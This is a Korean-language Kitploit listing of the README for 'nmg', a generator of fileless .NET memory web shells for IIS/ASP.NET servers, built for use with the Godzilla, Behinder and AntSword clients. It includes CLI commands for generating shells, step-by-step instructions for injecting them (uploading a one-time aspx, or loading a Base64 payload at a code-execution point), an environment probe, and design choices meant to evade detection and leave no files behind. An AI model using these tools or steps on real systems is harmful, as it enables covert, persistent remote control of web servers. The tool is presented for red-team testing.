Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nmg — Godzilla, Behinder, AntSword 클라이언트와 호환되는 매개변수화된 .NET 메모리 셸 페이로드(VPP, MVC 라우트, HttpListener)를 생성하여 레드 팀 테스트에 활용합니다. | Kitploit
도구/GitHubGitHub/baguette168/nmg
Defensive ToolsPayload GenerationPersistence MechanismsWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access ToolShellcode GenerationPayload Development
71713일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubbaguette168/nmg

nmg

Godzilla, Behinder, AntSword 클라이언트와 호환되는 매개변수화된 .NET 메모리 셸 페이로드(VPP, MVC 라우트, HttpListener)를 생성하여 레드 팀 테스트에 활용합니다.

저장소 보기

NMG - .NET 메모리 셸 생성기

.NET Tests License Platform

매개변수화된 .NET 메모리 셸 생성기 | 레드팀 / 보안 테스트 | .NET용 JMG 등가물

아키텍처

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

NMG란 무엇인가?

NMG는 디스크에 파일을 남기지 않고 IIS/ASP.NET 애플리케이션에 주입되는 매개변수화된 .NET 메모리 셸 페이로드를 생성합니다. 주입 후에는 기존 웹셸 관리자(Godzilla / Behinder / AntSword)로 연결합니다. NMG는 서버 측이 작동하도록 만들 뿐입니다.

다음과 같이 생각하면 됩니다: 입력 매개변수 -> 컴파일된 페이로드 -> 주입 -> 클라이언트로 연결

기능

메모리 셸 유형

유형대상.NET Framework트리거 지점
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistener독립 실행/SYSTEM2.0+HttpListener (IIS와 독립적)

셸 프로토콜

프로토콜클라이언트암호화검증됨
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ 엔드투엔드
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] 원시 바이트)✅ 엔드투엔드
antswordAntSwordBase64✅ 엔드투엔드

출력 형식

형식사용 사례
aspx쓰기 가능한 디렉터리에 업로드하고 한 번 접근하여 주입
b64역직렬화/표현식 주입을 통한 RCE 전달용
dll사용자 지정 로더용 원시 DLL

하위 명령

명령목적
generate메모리 셸 페이로드 생성
probe환경 탐지 aspx 생성 (CLR/trust/MVC/VPP 보고)
version버전 표시
help사용법 표시

웹 UI

Inset Dark 테마(Linear 스타일의 미니멀리즘)가 적용된 내장 웹 인터페이스:

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

빠른 시작

CLI

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

주입 방법

방법 1 — ASPX 인젝터:

  1. 생성된 .aspx 파일을 대상의 쓰기 가능한 디렉터리에 업로드합니다
  2. 브라우저에서 한 번 접속합니다 (Assembly.Load + VPP 등록 트리거)
  3. aspx 파일을 삭제합니다
  4. 웹셸 클라이언트로 사이트에 존재하는 기존 .aspx/.ashx/.asmx에 연결합니다

방법 2 — Base64 (RCE 전달): 코드 실행 지점에서 실행합니다:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

생성된 probe.aspx를 업로드하고 한 번 접속합니다. 그러면 다음 정보가 포함된 JSON을 반환합니다:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

이를 사용하여 어떤 메모리 셸 유형과 프로토콜을 사용할지 결정합니다.

설계 원칙

  1. 호스트 안전: 모든 실행 경로가 try-catch로 감싸져 있으며, 어떤 예외가 발생해도 요청을 조용히 통과시킵니다
  2. 멱등성: 반복 주입해도 등록이 중첩되지 않습니다
  3. 파일 잔여물 없음: 주입 후 웹 디렉터리에 새 파일이 생성되지 않습니다
  4. 결정성: 동일한 매개변수 + 동일한 시드 = 바이트 단위로 동일한 출력 (NFR-5)
  5. 대상에서 동적 컴파일 없음: 페이로드가 사전 컴파일되어 ASP.xxx_aspx+ClassName 탐지를 회피합니다
  6. 이중 등록: VPP는 공식 API를 우선 사용하고, IIS Integrated 모드의 경우 직접 필드 교체로 폴백합니다

빌드

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

프로젝트 구조

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

참고 자료

  • BeichenDream/GodzillaMemoryShellProject.NET
  • yzddmr6의 ASP.NET 메모리 셸 시리즈 — filter, route, HttpListener, VirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java 메모리 셸 생성기

라이선스

MIT

도구 다운로드